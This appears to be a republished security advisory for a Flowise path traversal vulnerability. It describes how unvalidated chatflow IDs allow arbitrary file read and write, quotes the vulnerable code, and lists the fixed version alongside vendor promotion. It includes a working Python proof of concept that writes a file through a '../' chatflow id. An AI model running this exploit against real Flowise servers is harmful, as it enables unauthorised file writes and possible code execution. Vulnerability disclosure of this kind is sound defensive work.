GHSA-q67q-549q-p849
CRITICALFlowise has arbitrary file access due to missing chat flow id validation
Blast Radius
Weekly download volume for affected packages — a proxy for how broadly this vulnerability is deployed.
flowisenpmDescription
Summary
Missing chat flow id validation allows an attacker to access arbitrary file.
Details
Commit https://github.com/FlowiseAI/Flowise/commit/8bd3de41533de78e4ef6c980e5704a1f9cb7ae6f and https://github.com/FlowiseAI/Flowise/commit/c2b830f279e454e8b758da441016b2234f220ac7 added check for filename when handling file upload operations to prevent path traversal, and additional validation of chatflowId and chatId from route /api/v1/attachments. In some cases, however, chatflowId and chatId are not validated to ensure they are UUIDs or numbers, which may lead to security issues.
Case 1
When creating new chatflow via /api/v1/chatflows, function addBase64FilesToStorage is called if there exists base64 file data. Although the filename is sanitized, the chatflowid comes from request body directly without any validation. An attacker could exploit the path traversal here to write arbitrary file with controlled data.
export const addBase64FilesToStorage = async (fileBase64: string, chatflowid: string, fileNames: string[]) => {
// ...
} else {
const dir = path.join(getStoragePath(), chatflowid) // path traversal here
if (!fs.existsSync(dir)) {
fs.mkdirSync(dir, { recursive: true })
}
const splitDataURI = fileBase64.split(',')
const filename = splitDataURI.pop()?.split(':')[1] ?? ''
const bf = Buffer.from(splitDataURI.pop() || '', 'base64')
const sanitizedFilename = _sanitizeFilename(filename)
const filePath = path.join(dir, sanitizedFilename)
fs.writeFileSync(filePath, bf)
fileNames.push(sanitizedFilename)
return 'FILE-STORAGE::' + JSON.stringify(fileNames)
}
}
Case 2
When downloading file via /api/v1/openai-assistants-file/download or /api/v1/get-upload-file, function streamStorageFile is called to retrieve file data from local or cloud bucket. The chatflowId and chatId are used for file path generation. Take Amazon S3 as an example, its [documentation indicates](https://docs.aws.amazon.com/AmazonS3/latest/userguide/object-keys.html#object-key-guidelines) that ../ will be treated as relative path.
Note that these APIs are in WHITELIST_URLS, an attacker may traverse user storage files without authentication.
PoC
Launch app at localhost with default config, then run the following python script, a file named 'pwn' will be written to dir /tmp with content 'Hello, World!'.
import requests
import json
url = "http://localhost:8080/api/v1/chatflows"
headers = {"x-request-from": "internal"}
nodedata = {
"category" : "Document Loaders",
"inputs" : {
"key" : "data:text/plain;base64,SGVsbG8sIFdvcmxkIQ==,a:pwn"
}
}
flownode = {
"id" : "a",
"data" : nodedata
}
flowdata = {
"nodes" : [flownode],
"edges" : [],
"viewport" : {
"x" : 1,
"y" : 1,
"zoom" : 1
}
}
data = {
"id" : "../../../../../tmp",
"name" : "name",
"flowData" : json.dumps(flowdata)
}
res = requests.post(url, json=data, headers=headers)
Impact
- Arbitrary file read / write
- Remote Code Execution
- Data loss
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | flowise | ≥ 2.2.8&&< 3.0.6 | 3.0.6 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for flowise. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update flowise to 3.0.6 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-q67q-549q-p849 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-q67q-549q-p849 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-q67q-549q-p849. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-q67q-549q-p849 in your dependencies?
O3 detects GHSA-q67q-549q-p849 across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.